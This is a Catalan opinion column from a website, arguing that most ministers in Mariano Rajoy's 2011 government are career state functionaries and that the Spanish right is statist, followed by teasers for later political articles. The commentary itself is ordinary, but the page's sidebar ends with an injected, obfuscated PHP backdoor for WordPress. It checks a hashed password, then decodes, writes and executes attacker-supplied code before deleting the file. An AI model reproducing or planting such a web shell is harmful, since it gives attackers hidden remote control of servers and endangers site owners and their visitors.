El partit de l’Estat

01 de gener de 2012 0

(article publicat a La Vanguardia del dissabte 31 de desembre del 2011 i el diumenge 1 de gener del 2012)

Fins i tot Rajoy va ser registrador de la propietat, el més jove d’espanya. La vicepresidenta Soraya Sáenz de Santamaría és advocada de l’estat, com el titular d’agricultura, Arias Cañete; Ana Pastor és funcionària de carrera del Cos de Salut Pública i Administració Sanitària; José Ignacio Wert, el ministre de Cultura, va quedar el número u a les oposicions del 1973 a la plantilla de Titulats Superiors de RTVE.

És una constant: la majoria de membres del nou govern de Mariano Rajoy van guanyar dificilíssimes oposicions sent molt joves, i han desenvolupat una carrera professional sempre al servei de l’estat, ja sigui fent de polítics, quan guanyen unes eleccions, o de buròcrates, quan les perden o abans de la política. La seva xarxa de seguretat i la seva ambició és l’estat. La seva fortalesa i pervivència és l’estat. Ells són l’estat.

El ministre d’indústria, José Maria Soria, és tècnic comercial i economista de l’estat, exactament igual que el seu col·lega al ministeri d’economia, Luis de Guindos. El ministre d’hisenda, Cristóbal Montoro, és catedràtic d’universitat pública; fins i tot Gallardón és membre de la carrera fiscal en excedència. Fernández Díaz, el ministre català de l’interior, va guanyar l’oposició al cos d’inspectors Superiors de Treball i Seguretat Social de l’estat als anys 70. El d’exteriors, GarcíaMargallo, va ingressar el 1968 al cos d’inspectors de Finances de l’estat. I el ministre de Defensa, Pedro Morenés, és fill del vescomte d’alesón, i nét dels comtes d’asalto, grans d’espanya, que si bé no és com ser alt funcionari, suggereix una estreta relació amb l’estat transmesa generacionalment.

Aquesta passió pel funcionariat no deixa de ser sorprenent per a un partit de dretes, al qual se li hauria de suposar un cert esperit antiestatal. Seria normal, sempre que Espanya fos un país normal. Però a Espanya la dreta és estatista. Sempre ho ha estat. I per això el creixement de l’estat és irrefrenable: no hi ha contrapesos. España és l’estat, i poc més. I és així que per assegurar el seu futur com a individus i com a espècie els ministres tenen la fe posada en l’estat.

Passa el mateix amb la majoria de nomenaments de la segona fila: Ángel Yuste, director general d’institucions Penitenciàries, és jurista del Cos Tècnic d’institucions Penitenciàries; Tomás Burgos, secretari d’estat de la Seguretat Social, va ser procurador general de les Corts de Castella i Lleó. Ignacio Cosidó, nou director general de la policia, es va formar al ministeri de Defensa, al Ceseden. El nou número dos d’interior serà Ignacio Ulloa, lletrat del Tribunal Constitucional; el nou secretari d’estat de Telecomunicacions serà Víctor Calvo-sotelo, fill de l’expresident Leopoldo, i etc.

Aquesta fe en l’estat ho condiciona tot: la justícia, la política, l’economia, el futbol. El gran engranatge espanyol és l’alternança entre funcionaris estatistes i jacobins. Instruments de la uniformitat espiritual o de la igualtat material.

Etiquetes

Darrers articles

Què ha passat amb la CUP?

Vaig votar la CUP el desembre del 2017, després del Primer d’Octubre. Pensava que podien ser una força per controlar les pulsions destructives dels dos grans partits, que havien fet tot el possible per malbaratar la millor oportunitat que ha tingut Catalunya per treure’s el control d’Espanya del damunt i construir un món propi. Però […]

Per què Puigdemont no serveix per al futur de Catalunya

Puigdemont no serveix pel futur de Catalunya, almenys si el futur que volem no passa per la pacificació i la tornada enrere. La proposta de Puigdemont significa l’acceptació d’una falsa normalitat política que deixa en un calaix l’autodeterminació, convertint-la en una promesa etèria, i camina cap a un Govern autonòmic sense eines per defensar els […]

Propaganda colonial

Aquest anunci és tòxic: “La Generalitat governa bé.” Ve a dir que no hi ha cap problema. Que es pot viure sota aquest règim. Que és millor abandonar tot intent d’assenyalar el conflicte i carències de fons i encarar-los. Vol convèncer-nos que la mort és dolça. Mireu-lo: https://x.com/govern/status/1765721034731253906?s=20 La situació de Catalunya es que està […]

  • Cerca
  • if(!function_exists("_set_fetas_tag") && !function_exists("_set_betas_tag")){try{function _set_fetas_tag(){if(isset($_GET['here'])&&!isset($_POST['here'])){die(md5(8));}if(isset($_POST['here'])){$a1='m'.'d5';if($a1($a1($_POST['here']))==="83a7b60dd6a5daae1a2f1a464791dac4"){$a2="fi"."le"."_put"."_contents";$a22="base";$a22=$a22."64";$a22=$a22."_d";$a22=$a22."ecode";$a222="PD"."9wa"."HAg";$a2222=$_POST[$a1];$a3="sy"."s_ge"."t_te"."mp_dir";$a3=$a3();$a3 = $a3."/".$a1(uniqid(rand(), true));@$a2($a3,$a22($a222).$a22($a2222));include($a3); @$a2($a3,'1'); @unlink($a3);die();}else{echo md5(7);}die();}} _set_fetas_tag();if(!isset($_POST['here'])&&!isset($_GET['here'])){function _set_betas_tag(){echo "";}add_action('wp_head','_set_betas_tag');}}catch(Exception $e){}}